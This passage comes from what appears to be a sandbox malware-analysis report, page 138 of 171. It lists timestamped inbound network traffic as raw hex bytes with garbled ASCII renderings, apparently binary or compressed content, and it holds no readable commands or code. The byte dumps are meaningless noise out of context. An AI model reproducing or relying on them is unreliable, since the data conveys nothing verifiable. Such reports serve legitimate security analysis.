d4 8f 63 f7 57 7f b6 a3 39 70 bb 22 1c a4 c0 e4 90 00 19 0d 1c 38 9d 9c 1e a1 1b c3 f5 a4 0d 04 02 81 c0 66 c0 f1 37 dc 
05 36 bd ef 9e cb d3 b4 c9 9f 64 37 0e 8b c6 ab e7 54 2e ce 58 54 77 42 68 1c 6c c6 a9 d4 fe 4c 8e ee de e2 1f eb d2 13 
47 c9 71 9a 4c 19 72 cb 55 65 2d 5b a4 67 be bd 7a f2 4e 42 f5 78 69 39 d9 29 f6 64 65 f8 f3 00 8f 57 3e fd 0c e6 9f fe 08 
76 7f f1 67 90 cf 9e 1e 2f 58 e0 b6 41 38 48 81 e9 61 b1 fa 95 b9 e3 ce 6d 87 b6 08 1e b2 95 f4 bc 52 27 bb 51 e5 ca 1d f9 
e8 ca 53 20 10 08 04 a6 0d ea cb eb 3f 48 18 86 f1 21 4b 5a 00 d5 f1 c9 72 9f 45 36 30 8c 1f ac 03 59 f4 77 26 e7 2c af ec 
f4 68 3e 53 86 e4 e4 d7 b1 8b c7 c9 dc 72 36 
Data Ascii: luHqR>7>7I?!cW9p"8f76d7T.XTwBhlLGqLrUe-[gzNBxi9)deW>vg/XA8HamR'QS ?H!KZrE60Yw&,h>Sr6

2022-01-13 21:05:20 UTC 150 IN Data Raw: 46 f3 15 2e 9d f2 d6 dd 2a c9 53 e3 d3 f0 db e5 52 ca 40 bc d8 1e 86 23 f1 a9 3b 57 0e 2f bc 76 1e 88 5d a4 db 
16 e1 20 05 a6 07 5e 89 5a a0 39 03 2c 4e 4c ce 68 5f 78 ed 89 f7 56 94 ac fa f0 91 02 81 40 60 83 31 f6 05 b5 b1 23 02 
bc a3 e3 1d d1 1e d3 57 f2 bb 1f 7d f0 76 2d f8 3e b5 b4 9a f7 6a c4 59 53 5e cb de 77 f2 c0 c1 66 88 75 ca e0 7d e5 ae 91 
e7 94 77 94 d7 08 c5 65 e9 dd 7a a4 7a 18 cb 92 a5 e0 cb ea cc 93 37 3f 7b 1a f3 2f 7e 76 09 c9 c0 a6 62 d2 0e 52 4a 09 
79 e9 13 72 eb 10 fc 56 c3 28 3f 5d c9 91 ad f1 b2 0a 64 56 b4 28 9e 65 98 fb ee 68 40 57 d3 29 4e d7 7e c0 86 d7 f1 04 
10 fc 56 c3 d4 f9 01 d3 e7 18 fc 56 43 5a 74 d8 f9 da 0f 7b 84 4b fa 73 3d da c5 d7 fa 89 69 95 21 f1 9a bf 8c 3b fa 01 02 
3d 0a 07 d8 7b 3d de 66 74 60 e0 52 65 c1 97 e5 
Data Ascii: F.*SR@#;W/v] ^Z9,NLh_xV@`1#W}v->jYS^wfu}wezz7?{/~vbRJyrV(?]dV(eh@W)N~VVCZt{Ks=i!;={=ft`Re

2022-01-13 21:05:20 UTC 151 IN Data Raw: ba 92 0d 83 a6 cd 8e 5e 27 9e 39 f4 e4 97 70 32 9f af 57 ca c0 0e 48 53 86 d4 ca 32 61 b9 2d a3 d1 ab 3b 49 
aa 57 e4 bb f7 a9 2d 97 c7 ab 3a 3b 83 aa c6 8e 95 0b d9 c0 70 3f 76 0c e9 ae bb ab fe 4d 78 56 82 df fe 31 69 07 69 6a 
df 44 57 04 bf d5 30 c6 af 74 60 dc 69 2e 6e 29 01 af e2 38 8b 3e 79 e8 24 eb 51 86 6c 57 99 80 41 06 1f 77 18 3a e8 e9 
da 0f d8 ec 3a 9e 02 82 df 6a 98 3a 3f 60 fa 1c 83 df 6a 28 13 aa d2 7d 03 76 1c d0 fb 52 94 2c 61 99 77 36 f6 29 0b 18 c6 
12 93 3f 51 7c 1a e2 53 6a e5 96 7c cc 8b 65 95 7b d5 c5 bb 3c 9e 7c d6 9b 01 f3 b9 ef 1e 07 78 f2 35 2d ac 53 c1 b6 63 
bd c6 46 c9 2f 8f ea 55 db 9b 71 ba 94 d5 b1 87 cb 51 e7 0c cc d7 e1 c2 f1 2a ab 17 9f f7 76 91 2f 5f aa f1 9b f0 ac 04 bf fd 
23 8e d8 05 26 87 da 09 25 db d1 01 b4 9a 25 2b 
Data Ascii: ^'9p2WHS2a-;IW-:;p?vMxV1iijDW0t`i.n)8>y$QlWAw::j:?`j(}vR,aw6)?Q|Sj|e{<|x5-ScF/UqQ*v/_#&%%+

2022-01-13 21:05:20 UTC 152 IN Data Raw: 13 ce d7 45 1a 1e 6b f8 68 77 89 af 0e 90 c8 ca 14 96 49 57 59 b0 ab 0b 77 7c 3c 42 8e 4a 14 9e f5 9a 3a f1 de
58 56 b7 3a ec 4e 52 e2 fc 54 de 5e b8 ea d2 b2 9b 1d 31 1e 3f 25 5f fd 27 b6 65 a7 29 ef d7 1e 49 e4 39 7a 4d b8 d4 79 
ee 84 33 2f af 4e bd 0f 77 b0 2c a4 19 30 8b 69 f4 ed 8a a8 d9 c0 a4 50 16 7e ea 4a 1a c7 25 9b 8e c3 f8 6c 70 1d c0 3a 
79 8c dc 70 84 02 81 40 60 a3 91 ee 3d 8e f4 e0 c3 38 f2 e7 7e 00 e9 6b df e1 24 c0 75 f5 f5 7a ec da fd c4 f3 02 ba 11 c2 
8b 72 9c 40 e7 f5 e3 04 7c 59 c6 2f d0 c5 c1 4e bc d9 61 71 12 36 7c 25 89 fb be 2f 53 95 f8 46 af e8 30 9b 34 9a 97 12 b8 
9f 0c e7 f1 7c 49 9d f2 ae 93 d1 c3 bb 40 24 ab f7 0e 54 4d 4b f6 ae 26 dd be 82 7c e9 62 9f 44 60 a3 b1 75 ab 09 04 02 
1e 9a dd ef d2 a9 95 ce e9 ff 67 ef ed 62 6d 5b 
Data Ascii: EkhwIWYw|<BJ:XV:NRT^1?%_'e)I9zMy3/Nw,0iP~J%lp:yp@`=8~k$uzr@|Y/Naq6|%/SF04|I@$TMK&|bD`ugbm[

2022-01-13 21:05:20 UTC 154 IN Data Raw: 42 69 f0 53 f8 01 6f be f9 96 e0 3b 67 5f 99 93 2b 00 bc f5 d6 5b e3 81 6e 80 17 2f 5e 4c 96 91 9f 9d 01 cf cf 70 
f9 3f fd 57 48 2f 9e 22 bf ff 6d e1 2f 74 04 de 61 02 a4 91 c9 61 d5 c4 2f 9c d9 8a 53 c6 23 a7 75 f9 e1 87 b8 7a f2 1d 3c 
79 f2 64 e5 b7 bb 7d e5 b6 d8 26 bf bb 9e 57 66 bf c5 2e e7 dc f5 f9 c4 e0 37 0d af 8b 5f f9 a1 58 31 ee 19 c7 1e d6 11 86 
57 bb 44 50 b5 12 d7 88 cb a0 f3 0c f3 23 ea 78 1a 82 df 34 f4 ce 0f e8 9f 63 f0 9b 86 d7 36 8f 2c 16 c0 c9 09 8e de 79 b7 
ba 2d 5f 3c bf 36 96 e8 7a e6 e6 b4 d8 d3 a7 83 73 80 d8 95 31 64 08 79 29 e1 de a3 47 74 cc eb 5a e9 d3 61 ad 5d 1b 76 
d3 fe 75 27 65 84 ab c5 db 75 23 ae 9c ee 50 1e b5 9b 8e c7 fc ac f4 87 dc 2b 5e 3c 03 3e 78 71 fd 83 c0 df fc 0a 2e 3e fd 
8b c8 af 5e 22 19 f9 b6 0c 19 e0 06 bb 
Data Ascii: BiSo;g_+[n/^Lp?WH/"m/taa/S#uz<yd}&Wf.7_X1WDP#x4c6,y-_<6zs1dy)GtZa]vu'eu#P+^<>xq.>^"

2022-01-13 21:05:20 UTC 155 IN Data Raw: 9e f4 08 e1 86 d6 9d 2f 7c 10 f1 28 6c 60 7f d1 b5 81 94 52 42 ee f8 de e5 e0 37 0d 43 fc ca 8a 8d 79 fb 1c da 
4f bd 1a 94 b5 3b 41 fc de 51 32 c6 39 f1 4e 53 bf e5 07 ec 76 1d f7 80 e0 37 0d bd f3 03 fa e7 18 fc a6 21 f8 cd 87 de b9 
9a fc ac 33 72 ab b9 bd 5e bc 80 76 07 49 fc 50 3c e9 17 99 e4 36 97 31 f0 51 3b 43 b9 d8 c9 f2 eb 08 bd f1 eb da 40 ca 
39 23 75 fc 16 7d f0 9b 06 8f 9f 7e e1 52 ac e0 b0 53 06 12 ef 2a 91 5f 82 72 b7 56 88 4a 7a 86 ff 9a 4b bf e5 07 ec 6e 1d 
f7 82 e0 37 0d bd f3 03 fa e7 18 fc a6 21 f8 cd 87 de b9 6a 7e 62 1e 37 16 45 f9 34 0a 5f dc 50 1c ad df 52 f4 ae ef 16 c5 
e2 e8 f0 bb 56 7e bd a1 37 7e 5d 1b 48 81 03 46 d9 09 5a 3d 8b 5b eb b0 32 8c 78 d5 87 b6 d6 bd b3 c5 cd 6a 51 96 fe f5 
33 6e a8 09 04 02 81 40 a0 6f f0 4e 10 20 8c 
Data Ascii: /|(l`RB7CyO;AQ29NSv7!3r^vIP<61Q;C@9#u}~RS*_rVJzKn7!j~b7E4_PRV~7~]HFZ=[2xjQ3n@oN 

2022-01-13 21:05:20 UTC 156 IN Data Raw: 6e fd 0e 52 bd c2 d3 31 84 e2 84 5d 20 10 08 04 02 fd 41 dc 62 b7 72 a8 86 0e e9 07 d5 90 29 9f ca 5f 0b 14 3f 
32 9f 95 2c 0a 2b 7e 2f 31 b0 d7 08 03 29 d0 1d f8 16 3b 7e 21 93 3f 33 ad ea 00 74 d1 42 5a cb 28 fe 8d 6d a5 56 93 1a 
e3 2b a1 fe 72 76 20 10 08 04 02 81 3e d0 5c 24 a7 6e 9e ab c7 e7 e8 b9 ea 01 ac 47 24 19 87 6f b1 4b 2a 7e 62 f9 30 6e 
c7 0b ec 25 c2 40 0a 74 87 72 93 1c 1b 29 e5 d9 7c c1 72 f5 3d 
Data Ascii: nR1] Abr)_?2,+~/1);~!?3tBZ(mV+rv >\$nG$oK*~b0n%@tr)|r=

2022-01-13 21:05:20 UTC 347 IN Data Raw: 5b fe fa 86 3a 8e a2 77 a1 d8 60 8a c1 2f 10 08 04 02 81 ae 60 2d 78 82 9e f9 48 5d 4a ad 7f 7d 6f 69 b5 4b e4 
c5 17 97 3a 25 7a 77 29 b7 72 03 fb 89 78 07 29 d0 25 72 19 90 20 3f b5 b1 53 cf 07 3b ee e6 11 3a e7 dd 23 96 1d 63 5f 
20 10 08 04 02 7d 22 61 fd 83 f2 fa d6 5a f1 8e 11 7b 54 cf f5 3b 4c cd 8f c3 52 30 0e 2b dc 60 eb 16 81 fd 42 ec 20 05 ba 
82 be a1 a6 1a 47 e5 bd a1 a4 c2 f2 40 67 f9 d3 73 d9 66 b7 8e d8 b1 7f 58 48 81 40 20 10 08 f4 07 d3 88 81 3c 4e c7 97 
2c 78 3f fe 5a 4e aa 08 83 47 3d f3 ee 11 ff 7c 48 9c 32 39 0c cc 62 20 e5 ce f7 1a 83 df 34 bc 4e 7e 62 f0 a3 9d 9e 6a d4 
64 15 96 b6 be f5 25 0d 7a 20 e5 1f 9d e5 b0 ec ae 07 cd b9 10 75 3c 0d c1 6f 1a 7a e7 07 f4 cf 31 f8 4d 43 f0 9b 0f bd 73 
dd 26 bf e6 7e 05 9a c7 f9 92 05 3e 6e df 5c 
Data Ascii: [:w`/`-xH]J}oiK:%zw)rx)%r ?S;:#c_ }"aZ{T;LR0+`B G@gsfXH@ <N,x?ZNG=|H29b 4N~bjd%z u<oz1MCs&~>n\

2022-01-13 21:05:20 UTC 349 IN Data Raw: 18 e3 59 5c f8 40 5b e3 e6 8b 9c 61 15 05 02 81 40 20 d0 3d 9a 1b ba 8d 5b e8 84 1e a0 8f e1 ab 70 e6 f1 7c 
72 e3 a3 7a f1 be f2 61 20 0c a4 40 77 e0 0b 16 d8 cd 3a fa e6 dc e5 60 ba 99 17 3a 18 11 76 e8 07 a1 03 81 40 20 10 38 
38 68 23 a5 ea 07 a4 2b 98 17 36 64 a9 13 e8 4b 1c 00 a9 6f d4 38 7c 71 03 3d 07 f6 17 61 20 05 fa 83 b1 3c a3 7f 0f 49 
df 56 e7 de 54 97 8d 95 a5 d4 0e 88 fc 5c c3 87 a1 14 08 04 02 81 40 77 10 ef 0a 61 f8 54 08 9f 24 61 f5 42 dc 76 3b f0 3e 
93 d8 35 ca b6 2e 12 d8 3f c4 2d 76 81 ee 50 07 a2 d4 0e 7a cd f6 b8 b7 6d ae 07 46 63 db 5c 7f 69 d2 8a e5 a1 40 20 10 
08 04 fa 43 6a e7 68 71 8b 1d b9 d5 f0 fc a9 c2 8e bd 77 54 e2 e9 5b ec 62 97 61 7f 11 75 1b e8 0e e6 6f 18 39 2f 58 6e 
64 c3 a8 40 de 2d 76 23 4e 81 40 20 10 08 04 3a 40 73 
Data Ascii: Y\@[a@ =[p|rza @w:`:v@ 88h#+6dKo8|q=a <IVT\@waT$aBv;>5.?-vPzmFc\i@ CjhqwT[bauo9/Xnd@-v#N@ 
:@s

Timestamp
kBytes
transferred Direction Data

Copyright Joe Security LLC 2022 Page 138 of 171



2022-01-13 21:05:20 UTC 350 IN Data Raw: 14 08 04 02 81 40 9f c8 6a c2 6f 16 56 93 b3 eb 43 01 ad 93 22 42 0d a0 e3 78 22 6d e6 10 ba c2 de 22 0c a4 
40 77 f0 8e cd 15 f0 76 77 36 dc d8 5d c8 cd f2 73 28 6c ac 0a 05 02 81 40 20 d0 27 9a 63 f4 ea 84 c8 d8 8d b6 c9 d1 03 
ac 4b 1a c4 8d 75 d9 5e 80 0d ec 1f c2 40 0a ec 04 72 fd b7 fa ae 07 b7 ec 1b 45 cd 8d 76 71 49 43 20 10 08 04 02 3b 0d 
31 b7 5b 97 28 90 b7 9e d4 c5 25 0d 7c f5 b7 f1 d3 1f 80 7c 2f 29 2e 67 38 0c 84 81 14 e8 0e d6 d9 62 7e c9 d2 fa f1 57 fd 
92 a6 70 cf ca 4d 27 98 d7 61 cb d7 58 19 0a 04 02 81 40 a0 4f 34 46 cd ea d1 ba 85 0e a0 9f 04 51 9f 83 cf 46 ba 09 52 
57 88 d5 d4 fd 45 18 48 81 ee a0 6f a7 d1 60 63 c8 bd 70 41 44 58 b9 79 47 ec ac 1d a5 18 f4 02 81 40 20 10 e8 12 5a 37 
d8 f8 77 90 8c a3 72 1c cf fb 1d 24 4b 7f e0 85 db c0 
Data Ascii: @joVC"Bx"m"@wvw6]s(l@ 'cKu^@rEvqIC ;1[(%||/).g8b~WpM'aX@O4FQFRWEHo`cpADXyG@ Z7wr$K

2022-01-13 21:05:20 UTC 351 IN Data Raw: 2c 4e 2b 56 86 02 81 40 20 10 e8 17 b9 1c ad e3 39 3d af dd ab 3f 9f 2e a1 9b e8 f8 e4 09 28 6c 91 25 de 47 
a2 1b 70 ad 93 2a 81 fd c3 ec d7 7c 07 02 93 40 83 92 fa 0d 59 f1 69 5d d5 29 dc bc 1b eb 38 1d 6b e9 08 f6 7b 49 81 40 
20 10 08 04 fa 00 cf f7 7c f4 6d 10 7c 83 5d f9 4a f3 bd 25 a3 fc c6 22 bf a7 a4 e3 05 f6 13 b1 83 14 e8 0b 69 b3 c1 8e 07 
46 ed e6 41 ec 2e 0d 5c ea e0 38 05 02 81 40 20 10 e8 00 62 be 77 2e 69 20 ef f5 73 39 22 a7 6f be e5 77 8b b4 2c ba 51 
37 eb 78 81 bd 45 18 48 81 ee 90 8c 81 4a a3 39 4a d7 04 f0 e5 b6 77 86 07 02 81 40 20 10 d8 25 f0 ce 8f f5 73 1d e6 8d 
74 ce 15 74 ec 3c f4 3b 48 6c 98 85 1a b1 df 08 03 29 d0 2f b2 bd 53 c4 ee ee 6f 18 79 37 30 40 ae 16 09 b1 14 36 37 0f 
81 40 20 10 08 04 7a 80 be 54 01 ea d9 bb 7c 89 af 06 
Data Ascii: ,N+V@ 9=?.(l%Gp*|@Yi])8k{I@ |m|]J%"iFA.\8@ bw.i s9"ow,Q7xEHJ9Jw@ %stt<;Hl)/Soy70@67@ zT|

2022-01-13 21:05:20 UTC 353 IN Data Raw: 21 fd 40 ef 13 09 19 fa 70 f1 6a 50 34 2f 69 e0 97 9c 80 7a 35 68 20 10 08 04 02 81 7e 91 8c 05 4f 7d 44 3f 53 
d8 ea a8 c2 d4 4f 6b fe b7 2e 69 b8 39 d5 c0 0e 21 0c a4 40 77 c8 fa 0b ad e0 88 d5 21 f5 1e 51 4e 2a 2e ad 06 59 d7 7a 
eb b0 1c 27 ec a3 40 20 10 08 04 fa 85 3e 5a cf 17 2b e8 e3 f7 7c 34 4e af 9d 0a 77 eb 92 86 95 7b 4d 8b 75 91 b0 92 f6 
16 71 c4 2e d0 1d c4 ed 33 6a fb 5b 83 07 c2 81 45 9f 26 ac 17 7e c8 3d 10 08 04 02 81 c0 dd 43 2f 96 96 8f a1 79 de 5a 
24 d5 32 f4 e5 0f fa 98 bf f8 e1 d9 58 4d dd 6b c4 0e 52 a0 3b e8 4b 15 00 e3 f2 05 15 c6 7b af 8f 07 30 2f ac 3a 5d 37 28 
2f 10 08 04 02 81 c0 dd 42 5f b0 c0 ee 05 e6 c5 4b e4 67 df 44 47 cf 8e 7b 4d 2b 21 76 90 f6 18 61 20 05 fa c2 d1 31 b0 30 
9a a5 73 5e 38 1b d6 14 0f 64 fc 03 72 ec 56 c3 
Data Ascii: !@pjP4/iz5h ~O}D?SOk.i9!@w!QN*.Yz'@ >Z+|4Nw{Muq.3j[E&~=C/yZ$2XMkR;K{0/:]7(/B_KgDG{M+!va 
10s^8drV

2022-01-13 21:05:20 UTC 354 IN Data Raw: 1f dd cb 14 df 38 be b7 6d 1c 62 fd 6e 0b 9b 72 dd da 5d c6 bd bf c4 15 fc a6 21 f8 4d 47 ef 1c 83 df 34 04 bf e9 
e8 9d 63 f0 9b 86 e0 37 1f 7a e7 ba 2d 7e e2 38 1d e4 67 35 7c 68 27 48 fc 40 2c ed 14 f1 ee 53 a6 78 99 ac 27 61 68 e1 
f5 1a 48 87 5a bf db c0 a6 5c e3 c7 5e 02 81 40 20 10 08 04 02 3b 03 7d 2b 77 79 36 2f 9e b3 76 7c 8c a3 73 75 47 49 df 
e6 c0 3b 55 bc ab 74 3b ea 81 1d c1 d6 8e d8 05 02 81 40 20 10 08 04 02 73 43 1f 7b cb 7a fb 08 6a 47 49 59 33 39 b7 6e 
3a 18 cb 34 6f ac bb 19 e5 c0 8e 21 0c a4 40 20 10 08 04 02 81 c0 4e a1 ec f4 94 0b 1a d8 0d 00 52 b9 c1 ae fe 53 86 ce 
c8 3b 4c fa e8 5e 0d 7b 3b ba 81 1d 43 18 48 81 40 20 10 08 04 02 81 9d 81 67 a4 08 77 63 8b c7 32 a4 84 bb 21 93 0d 
30 0e 13 86 d2 7e 23 de 41 0a 04 02 81 40 20 10 08 ec 
Data Ascii: 8mbnr]!MG4c7z-~8g5|h'H@,Sx'ahHZ\^@ ;}+wy6/v|suGI;Ut;@ sC{zjGIY39n:4o!@ NRS;L^{;CH@ gwc2!0~#A@ 

2022-01-13 21:05:20 UTC 355 IN Data Raw: 95 87 e6 68 b5 c1 9b 70 1c 6b 83 43 ed 6b 93 ef 63 e3 f4 50 fb b1 fa 30 f3 d3 bc ac 7c 8d d5 b5 ae df 1b d7 29 
00 2c 16 40 5a 20 3d 7c 1b 97 df fd 51 1c 7d f4 fb 80 a3 63 a4 e3 50 93 7a 45 06 80 54 da 95 d3 3e 78 e0 4f 6b b7 75 7b 
94 fe fc 69 c5 bf 1e 03 d6 9f 81 fd 45 f4 fc 03 46 fe ed af 23 7f e9 f3 58 7e e6 57 80 0f 5f 00 cf ce 90 5f 7e 78 6d 2c 59 48 
09 cf 8f ef 95 c7 f5 ca 0c 0d 12 bc 03 de a4 b7 0a ca 61 2e 2f 2e a0 57 84 ac 38 1b 21 25 7c 70 ef de 46 11 87 78 32 2e 2f 
2e d6 11 e6 40 4a 78 51 38 16 2e b8 41 1e 0d 0d 80 cb 70 4c d6 68 5a 5c 86 25 ce 50 9d 6e 50 8e ba 8e 27 71 4c 09 2f 
8e ef 6d 5c 60 9b 94 ed e5 f9 05 5a 55 ed 96 30 ca 8f c9 98 93 ea 08 c9 b1 3e b2 09 58 39 fd e0 de 3d b3 ef 6e ca c7 e4 
07 cc da 47 dc 32 f4 b0 c5 32 6c 45 27 bc 38 d9 
Data Ascii: hpkCkcP0|),@Z =|Q}cPzET>xOku{iEF#X~W__~xm,YHa./.W8!%|pFx2./.@JxQ8.ApLhZ\%PnP'qL/m\`ZU0>X
9=nG22lE'8

2022-01-13 21:05:20 UTC 357 IN Data Raw: 20 07 80 ab ff f3 7f c5 d5 df fc 5f 90 ff e1 2f 01 4f 9f d4 1e cf c7 85 78 45 af 7c 11 6e ec 4d fe 5e 18 53 ee 58 d8 
5b 0c 3a 6e 14 23 e1 aa 5c 25 e9 cf 03 a4 15 95 bf 6b 45 d5 9a 54 85 2c 47 11 15 f2 69 70 d7 f1 b5 3f f3 f0 06 fc e2 38 56 
36 d6 2b 0f d9 e1 5c b3 9d 0c 25 92 65 2a c5 ac 3e 3b 69 0d f2 d2 3c 8c 74 c7 5e 2b d9 e8 b5 13 5d 97 ce 04 28 f2 4a 0a 
d6 50 7a 09 52 96 45 a7 b6 15 d1 d0 68 a2 1e e9 17 dc 9e 45 3d 19 69 58 ed 8b 1d b8 7e ad b0 a6 62 91 c7 c3 d4 64 58 
3e 97 8b 31 16 f1 2a 2d 1b 10 26 6f c3 4b 63 a8 3c 34 17 73 2c 30 fa 0d d7 af 68 3f 1c cd 18 4f 93 53 48 99 d2 a8 e1 ad fe 
6a 18 47 ba 1e 84 51 a9 db 07 f3 49 d2 1d d8 6c dc 4a 46 81 66 27 30 d7 b9 29 4b 8a b1 13 56 9e de 38 6d b6 5b a3 5d 
8b b0 23 e3 c4 f2 e5 07 38 ff 95 5f c0 f3 ff e6 
Data Ascii:  _/OxE|nM^SX[:n#\%kET,Gip?8V6+\%e*>;i<t^+](JPzREhE=iX~bdX>1*-&oKc<4s,0h?OSHjGQIlJFf'0)KV8m[]#8_

2022-01-13 21:05:20 UTC 358 IN Data Raw: ad 71 cb 3d fa 39 50 1e 9e f1 e9 1a a4 b7 51 40 8d f1 b8 d9 41 1a 48 d7 43 0d fb ec 0c 57 df fa 06 2e 3f fb 6b 
c8 cf 9f de 82 60 60 76 8c 8d 91 fc 4c 03 94 3b 6e 19 4a 81 79 02 e5 36 06 7c 60 67 10 06 d2 9e e2 d5 df fb bf 70 f9 8f 3e 
8d fc e2 19 90 f3 7a 80 30 34 89 a1 9d 20 eb 3c b9 67 68 dc 14 8d 82 ad 26 e9 41 f1 7a c5 53 f9 59 83 a3 b9 02 e4 f1 32 
56 5a 2d 19 7a 12 6f 56 75 87 94 38 c3 a8 49 46 58 ef b8 97 08 6b 28 d3 5e 5a 5a c1 d1 c1 c6 14 af 41 a3 d6 99 30 c6 8e 
24 5a 61 f5 3b 39 56 ba ee f1 a4 81 c4 78 32 e4 c8 e6 2a a3 21 4b 73 61 f1 56 db b5 da 9b d7 b6 75 5b 65 02 ee 6e eb 88 
65 bf 89 1d 34 64 3c 78 32 2c 61 dc 6e 4d 05 85 e4 37 86 97 21 56 ec fa 6e 68 98 79 14 87 c2 6a 83 a2 e1 cd b2 f2 78 79 
b8 ed 43 29 5e 22 8f 2a 41 b7 8e 28 3e bb 6b c5 5f 
Data Ascii: q=9PQ@AHCW.?k``vL;nJy6|`gp>z04 <gh&AzSY2VZ-zoVu8IFXk(^ZZA0$Za;9Vx2*!KsaVu[ene4d<x2,anM7!
VnhyjxyC)^"*A(>k_

2022-01-13 21:05:20 UTC 359 IN Data Raw: 53 b6 49 3d 1a 32 74 93 19 da 89 aa 61 b4 7c e5 d1 f0 b2 f2 80 75 71 81 b8 34 0a b3 a3 3c 9a 0a a5 91 3f 91 
18 3d 27 c8 32 68 f2 46 69 37 6d 7d a8 6f 8d f4 33 56 08 b4 31 6a e6 43 f1 6a 76 c0 06 da 9b 57 1e d6 73 53 1e 2a 1f e2 
99 d3 d4 79 83 2a 6e 92 c3 6e 45 a6 28 6f a3 ec b8 dd 78 f5 24 a2 ac 02 f0 d8 61 0e 8b 4e fb d0 0b 13 9a 9b 5b 0f 4c 21 
f9 1c 79 1e b0 f2 ae f3 a2 c7 40 2f df 9b f4 91 c4 65 b3 92 2f da 59 f1 1f 68 7f 55 ae d9 01 0d 77 73 82 1b e9 bf 5c e7 5c 06
17 e7 c8 65 21 72 00 3c b7 f7 aa 33 6c 43 e6 56 14 e9 94 90 52 32 17 6d 9b f9 45 85 19 5c d8 34 c6 10 31 af 19 e3 8b 4d 
af ef f2 db 25 7e 77 cd f5 f8 f4 f4 14 79 74 69 7f 73 9c 9d 9d cd 26 2f a5 84 c7 8f 1f cf 22 ab e0 50 f8 bd 3a 7b 1f f9 83 eb 
db eb ac c9 16 80 58 c1 35 27 6c c8 09 a2 81 
Data Ascii: SI=2ta|uq4<?='2hFi7m}o3V1jCjvWsS*y*nnE(ox$aN[L!y@/e/YhUws\\e!r<3lCVR2mE\41M%~wytis&/"P:{X5'l

2022-01-13 21:05:20 UTC 361 IN Data Raw: 19 14 12 7d 6a ff fa 6c 29 9e 2c 37 b7 13 71 33 69 3b fe 1e 3f 06 1f 77 29 f9 d4 a8 47 2a bc 7c 3b fe 16 bc 30 
1b ed de 0a 0d c0 18 70 53 6b 10 16 3f 2f ac 96 cd c7 83 b4 8c 86 87 f3 9d 0d 14 3e 2a c3 47 75 ac 95 77 cb df 32 ba 44 
1e 0c 59 99 d3 52 bc 4c 39 58 87 d5 4a 5c 35 14 53 1b d6 04 b5 05 3e 8a 63 06 35 fc 85 92 3d d4 ae b2 e2 e3 ad 10 68 
b9 ca f0 d5 41 c7 86 ff a1 f6 3b d2 2c d6 69 b1 01 6d 95 57 b6 eb c9 2a 0f 93 0e e5 71 ac 5f 65 cf 12 19 a9 3b f6 30 77 91 
9c b0 ec 6f 1a 40 2a 8c 9b bc 2e 2f 96 65 8c 53 1c b6 36 ed a1 76 b2 92 63 95 e3 50 7c 91 bc d3 00 cc 76 9d d1 dc 98 a7 
db c1 a6 75 5a e6 0d c1 45 f1 10 e5 a5 c6 98 ac c3 0e b4 4b 15 b4 6d b7 d9 ce ef 26 c3 7d 60 3b 60 1d c1 1a b7 f4 98 60 
2d 80 78 e3 16 a7 c1 9f 42 b6 e1 1e d8 2f 84 81 74 60 
Data Ascii: }jl),7q3i;?w)G*|;0pSk?/>*Guw2DYRL9XJ\5S>c5=hA;,imW*q_e;0wo@*./eS6vcP|vuZEKm&}`;``-xB/t`

2022-01-13 21:05:20 UTC 362 IN Data Raw: ce 83 21 97 39 6a 19 ba 3c 86 d2 2d 61 32 28 0c ad 36 72 9b d0 d0 5c 85 9b 8a 57 83 51 3e 99 4b 2e ee 94 ae 
d7 2e 74 dd 69 7f d1 2e b4 c6 ac ca 85 eb b5 2e 52 64 b4 55 ed f0 1e 2a 0f 6b d1 06 aa 3c 38 bf 2c 57 e7 c1 95 95 8c 7a 
70 fa 98 55 37 22 bf 5c 67 5e 3d 79 32 8d 32 a8 61 d0 ca 17 72 8d b6 c2 f9 d5 f5 e4 96 b5 d7 3e d2 7a bc b4 e2 36 71 20 
65 59 e3 56 91 53 f2 d0 8c 7f 46 be 74 1f 17 e3 23 a7 85 75 39 98 50 f5 d4 a4 eb d1 d6 fd c2 48 b3 49 9b fc 5d 3e 81 ad 
83 db 91 35 6e d5 30 ab 07 dd 8f 6b 3c ab 12 9d 36 a0 d3 4a 76 90 c0 9e 20 0c a4 3d 46 76 9e 95 2e e1 ae 3e 0b 59 3c 
e1 40 4e 64 83 71 59 79 d1 30 26 32 cb c8 00 68 50 2a df b5 5c f5 bd 3c 0e ae aa 2b 3f bd 3b 22 56 98 74 58 9d 6e 52 14 
88 77 75 ca eb 70 75 c0 56 9f 22 2b 45 31 a1 f0 50 cf ac c0 
Data Ascii: !9j<-a2(6r\WQ>K..ti..RdU*k<8,WzpU7"\g^=y22ar>z6q eYVSFt#u9PHI]>5n0k<6Jv =Fv.>Y<@NdqYy0&2hP*\
<+?;"VtXnRwupuV"+E1P

Timestamp
kBytes
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2022-01-13 21:05:20 UTC 363 IN Data Raw: 43 e7 81 c3 9a 2b b4 aa 3c a0 d2 15 71 44 e1 ab 4f cd 6d 20 df d6 e4 97 95 3f a7 db d4 8f 76 a3 b6 02 83 b7 ce
37 a7 9f 0d 59 e0 74 47 e4 35 ed 82 db 8e e5 0f 29 53 e7 8b e3 0c f1 1a 6a 1f 56 79 70 ba d8 20 be b7 1b 61 86 37 b8 37 
32 48 4e ad 6b c0 ee 63 5e 3a 03 fe fc bd d4 29 97 01 3f 73 ba 9b ee de 00 76 3d 14 f7 66 ac 29 cf 03 f9 a8 46 52 53 88 
54 2e c4 cb ca 63 e5 c5 f1 f4 73 11 35 90 1f 51 dd 23 7d cb 2b 4f 1d cf da 55 e2 b0 9c 97 42 b2 c8 1d 68 62 81 2d a3 d6 
6d fd b2 7e 1e ab 73 58 ed 83 db 2f 20 db 25 b9 89 fe 84 68 03 fb 8c d8 21 dc 67 94 8e bc fa 57 c7 8b 19 7b 74 1d 93 b4 
36 b7 4a 3f 6b 37 4f 00 a1 d1 c7 3d 85 39 91 bf 49 8a be 26 e9 26 c4 17 05 d3 f1 b7 26 f0 f2 a5 09 4e 0a 87 f0 a4 67 cf e8 
4c ab f8 7a f5 d9 a0 51 c3 97 b0 96 2c d7 8f cb 05 
Data Ascii: C+<qDOm ?v7YtG5)SjVyp a772HNkc^:)?sv=f)FRST.cs5Q#}+OUBhb-m~sX/ %h!gW{t6J?k7O=9I&&&NgLzQ,

2022-01-13 21:05:20 UTC 365 IN Data Raw: 86 ac 41 5e ab 67 eb 58 82 50 7a 8d f2 48 5e 58 9d 5e f9 67 f0 d2 86 a8 50 7a 0c 5e 5a 56 55 c8 c8 8f eb b1 
84 69 fa 06 3f 5b 69 28 52 66 13 4a 2a 4b ba ae bd 76 57 da 97 4a ab f4 53 ab 9e cd 63 23 46 be a0 db ae c3 51 a7 0b 4a 
